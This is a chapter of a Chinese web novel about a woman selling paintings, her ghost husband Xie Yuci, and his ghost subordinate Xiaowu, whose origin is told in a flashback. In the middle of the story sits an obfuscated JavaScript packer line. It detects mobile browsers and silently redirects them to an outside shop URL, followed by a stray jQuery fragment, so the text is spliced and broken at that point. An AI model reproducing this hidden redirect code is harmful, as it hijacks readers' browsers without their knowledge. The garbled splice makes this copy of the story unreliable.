傍晚时分,玉妙青也在市集支了个摊子,卖字画。
黑夜降下帷幕,便收拾收拾回家,一同吃过晚饭再来。
一连几天,可谓门可罗雀。
字画这种东西,多是文人附庸风雅。小镇上读书人不多,没有需求,自然没有市场。
再加上,这行极看中名气。
玉妙青不好直说,曾经有人花重金求他的画,大概是为了攀上谢府的关系,有意讨好。
若非名家,若不靠身份背景,画得再好,也没什么人来看一看问一问。
那要怎么积攒名气呢?
玉妙青想起来,有几位艺术家,生前穷困潦倒,死后流芳千古。
编吧。这就叫营销。
编个才子佳人的故事:腹有诗书才华横溢的书生,与闺阁小姐一见钟情,私定终身,却被门第只见无情拆散,二人相约私奔,未果,万般无奈,相约共赴黄泉,生不能同衾,死而同穴。最后化作比翼鸟,双宿双飞。
元素齐全。
那位书生所作的字画,一部分留传下来。
果然,凭借这个故事背景,至少有人问津了。
这日暮色欲尽,残阳最后一丝光辉消散于山底。
一个看上去不过十四五岁的小少年停在她面前,对着展开的画卷细细端详起来。尤其在印章处看得仔细。
那人和她差不多高,脸型偏圆,即使没什么肉,仍显得幼态,貌若好女,雌雄莫辨。耳上穿了孔,配银饰,流苏状的簌簌垂落。
玉妙青本打算收了摊子回家,来了客人,开口缓声介绍。
他掀起眼睫,底下一对猫儿眼,乌黑的眼珠冷冷清清,神色有点孤傲,好像看不起人似的,气场不善。
玉妙青话说到一半,噤声不语。
“画画的人呢?他在哪儿?”少年声音犹如泉水激石,清脆,寒冷。
玉妙青硬着头皮,要把故事一以贯之:“他,他已不在了。”
谢予慈的确不在这里啊。
少年神色一凛,顿时面白如纸:“不、怎么可能?”
他目露凶光:“从实招来,否则……”
一个金属硬物抵到她脖子上,露出散发寒芒的尖端,玉妙青瞬间冷汗直流,忙道:“你、你先别急好吗?”
她不敢呼救,一旦大喊大叫,那尖物定将率先划破她的颈动脉。
只能先将人稳住:“我这就带你去找他……”
玉妙青不知道身边这个少年的底细,但听说谢予慈有事,他似乎很崩溃,大抵并非仇敌。就是脾气也太差了,一言不合死亡威胁。
这叫什么事?
她编故事骗人的报应吗?
一路无言,不敢说,也不敢问。
谢予慈在院中,讲饭菜一一摆放到桌上。除却雨天,他们通常在露天院子里吃晚餐,比起室内凉爽些。
见了她,谢予慈含笑轻唤:“妙青。”
玉妙青神色略僵硬,往旁边让开一个身位,后面的少年立刻上前,动作利落,单膝跪地,对着谢予慈抱拳道:“阁主。”
什么什么?阁主?
谢予慈身形一顿,将筷子搁在碗中央,曼声道:“我之前办过一间收藏书画的藏书阁。他是我的下属,小五。”
果不其然,这位少年不是敌对的人。玉妙青松了口气。
小五默不作声,目光在二人之间游动。不太清楚谢予慈为什么要和一个人类一同生活,甚至,桌上有两副碗筷,也就意味着他也要吃人类的食物。
味同嚼蜡,有什么好吃的?变成鬼后,再好的山珍海味,小五都提不起兴趣了。既然东西变得难吃,自然没什么值得可惜的。做人时心心念念不可得之物,做鬼后弃如敝屣。
“玉妙青,是我的夫人。你不可对她无礼。”谢予慈默不作声,挡在两人之间,让小五的目光不能触及他的妻子。
小五仰起脸,内心轰然,天塌了。
玉妙青走上前,对他说:“你应该也没吃饭,不如添副碗筷吧。”
既然是相熟的人,关心则乱,她就大人不计小人过了。
十几岁,小孩子一个。
“我不吃……”小五正要拒绝,感受到谢予慈瞥来的寒凉眼神,只能应下。
“多谢夫人。”
“小五言行不逊,多有得罪,抱歉。”
“没事没事,我也有不对的地方。”
谢予慈直觉他们之间有些古怪,问玉妙青:“发生什么了?”
“没什么,就是有点小误会,现在已经解开了。”
可不能让谢予慈知道她编的那些故事。
玉妙青看向小五,暗暗使了个眼色,现在他们也算命运共同体,各自都有不想让谢予慈知道的事。她堆起笑容,“对吧?”
小五微愣,点点头。
谢予慈将一切尽收眼底。
他的妻子,当着他的面,和别人眉目传情、暗送秋波。
这是完全不实的指控,他大抵也知道。但他不喜欢玉妙青和别人有秘密。这让他感到烦躁。
有什么需要瞒着他的?
有什么是别的不相干的人可以知道,而他这个丈夫却不能知道的?
他们不是夫妻吗?夫妻之间难道不是理应坦诚相待?
谢予慈丝毫没有意识到他的要求是多么的无理、蛮横、独断专行,分明,玉妙青甚至连他是人是鬼都不知道。
小五全盘托出,谢予慈眼中忽明忽暗,没什么情绪。
“她身上有您的味道,又言辞闪烁,所以……”
小五的皮肤寸寸皲裂,如瓷器的裂痕,七窍流血,随着威压的增强蹦出一口鲜血,淅沥沥落到地上。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17744245|209203||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
“阁主,属下知错了……”他痛苦地说。
“不要再叫我阁主。”
“您为什么要和一位人类女子……”
谢予慈哂笑:“我需要向你说明吗。”
小五跪伏在地:“恕属下直言,人类只是食物,只有愚不可及的鬼才会对人产生感情。”
产生感情?
感情?
这个词对他来说太过陌生。
谢予慈敛了笑,神色淡然,既没有被戳中的恼怒,也没有急于否认。
“小五,你曾经是人类,还没有改掉庸人自扰的通病。”
.
小五就叫小五,没有姓。
母亲是个花街里的,父不详。
他生来就是底层中的底层。
母亲病了,被老鸨赶出去,身上烂了,终日卧床。他靠偷靠骗,换一些聊以慰藉的便宜药材。自然没用,母亲死了,他彻底成了一个孤儿。在街头和其他十几岁的少年一起做混混,拉帮结派,打架斗殴,最后被打到半死丢到乱葬岗。那时,他十六岁。
短暂的一生潦草结束。难道老天生他一场,就是为了把他往死里整啊?
不甘心,明明活着烂得要死,但他还是存有强烈的求生欲,并且极度痛恨这个世界。
凭什么我要死……
该死的是别人……
我没有错……好恨……
不甘心不甘心不甘心不甘心不甘心不甘心……
雨水落到他脸上,沾湿了嘴唇,他努力攫取水分,即使满是尸臭味道。他要活,不管不顾。
肋骨好像断了,腿没有知觉。他完全动不了。这样下去,也只有死路一条,不过拖延些时日。
恍惚中,他看见了母亲,完好的、皮肤洁白、没有溃烂伤口的母亲。
她来接他了。或许,他该跟她走。
谢予慈就是在这时候路过了。
他觉得有意思。
一个满身脏污、鼻青脸肿、奄奄一息的人。用破破烂烂的身体痛苦不堪地蠕动,半张着空洞的嘴,渴求雨水,拼命想要活下去。
乱葬岗很适合闹鬼。也常流传着一些起死回生的趣闻。
鬼也做不到起死回生的事。但这个人,还有最后一口气在。
谢予慈低头,居高临下,挡住他堪堪维系性命的一丝雨水。
小五很是着急,想叫他滚开。
母亲的幻觉消散,转而化成一个光鲜亮丽的青年,他恨得要死,干脆闭上眼睛,不愿看。
那“人”开口了,问他要不要变成鬼。
“不过鬼要吃人呢,今后就是站在人类的对立面了,啊,你现在好像不能说话哦。”
因为他破口大骂,舌头被割了。
青年声音和他的长相一样妖艳,带着强烈的蛊惑:“同意的话,就眨眨眼吧。”